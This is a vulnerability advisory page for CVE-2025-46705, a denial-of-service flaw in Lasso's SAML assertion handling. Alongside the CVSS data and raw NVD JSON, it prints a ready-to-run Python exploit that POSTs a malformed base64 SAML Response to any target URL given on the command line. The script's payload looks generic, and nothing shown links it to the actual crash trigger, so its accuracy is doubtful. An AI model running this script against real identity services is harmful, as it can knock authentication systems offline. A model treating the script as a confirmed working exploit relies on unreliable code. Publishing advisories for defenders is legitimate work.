Security Vulnerability Report
中文
CVE-2025-46705 CVSS 7.5 HIGH

CVE-2025-46705

Published: 2025-11-05 15:15:39
Last Modified: 2025-11-07 20:02:36

Description

A denial of service vulnerability exists in the g_assert_not_reached functionality of Entr'ouvert Lasso 2.5.1 and 2.8.2. A specially crafted SAML assertion response can lead to a denial of service. An attacker can send a malformed SAML response to trigger this vulnerability.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:entrouvert:lasso:2.5.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:entrouvert:lasso:2.8.2:*:*:*:*:*:*:* - VULNERABLE
Entr'ouvert Lasso < 2.5.1
Entr'ouvert Lasso 2.5.1
Entr'ouvert Lasso 2.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-46705 PoC - Entr'ouvert Lasso SAML DoS Note: This PoC demonstrates the vulnerability concept for educational purposes """ import base64 import xml.etree.ElementTree as ET from lxml import etree def generate_malicious_saml_response(): """ Generate a malformed SAML assertion response to trigger g_assert_not_reached """ # Create SAML Response with malformed assertion saml_namespace = { 'samlp': 'urn:oasis:names:tc:SAML:2.0:protocol', 'saml': 'urn:oasis:names:tc:SAML:2.0:assertion' } # Malformed assertion with invalid status code malicious_saml = '''<?xml version="1.0" encoding="UTF-8"?> <samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_malformed_response" Version="2.0" IssueInstant="2025-01-01T00:00:00Z"> <saml:Issuer>https://attacker.example.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:InvalidAssertion"/> </samlp:Status> <saml:Assertion ID="_malformed_assertion"> <saml:Issuer>https://attacker.example.com</saml:Issuer> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"> [email protected] </saml:NameID> </saml:Subject> <!-- Malformed conditions that trigger assert_not_reached --> <saml:Conditions NotBefore="invalid-timestamp" NotOnOrAfter="also-invalid"> <saml:AudienceRestriction> <saml:Audience>https://target.example.com</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AttributeStatement> <saml:Attribute Name="malformed-attribute"> <saml:AttributeValue> <!-- Trigger condition that leads to assert_not_reached --> </saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response>''' return malicious_saml def exploit(target_url): """ Send malformed SAML response to target """ import requests saml_response = generate_malicious_saml_response() headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'SOAPAction': 'http://schemas.xmlsoap.org/soap/envelope/', } # Encode SAML response for HTTP POST data = { 'SAMLResponse': base64.b64encode(saml_response.encode()).decode(), 'RelayState': '/dashboard' } print(f"[*] Sending malformed SAML response to {target_url}") print(f"[*] Payload length: {len(saml_response)} bytes") try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[!] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[+] Exploit sent - Target may be affected: {e}") if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit(sys.argv[1]) else: print("Usage: python cve-2025-46705.py <target_url>")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-46705", "sourceIdentifier": "[email protected]", "published": "2025-11-05T15:15:38.530", "lastModified": "2025-11-07T20:02:36.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A denial of service vulnerability exists in the g_assert_not_reached functionality of Entr&#39;ouvert Lasso 2.5.1 and 2.8.2. A specially crafted SAML assertion response can lead to a denial of service. An attacker can send a malformed SAML response to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-617"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:entrouvert:lasso:2.5.1:*:*:*:*:*:*:*", "matchCriteriaId": "7177DC8A-9874-45BA-BC80-17604D8A0875"}, {"vulnerable": true, "criteria": "cpe:2.3:a:entrouvert:lasso:2.8.2:*:*:*:*:*:*:*", "matchCriteriaId": "6418EA3D-B50B-4F83-AA49-D2E2C2710DEA"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2196", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2196", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}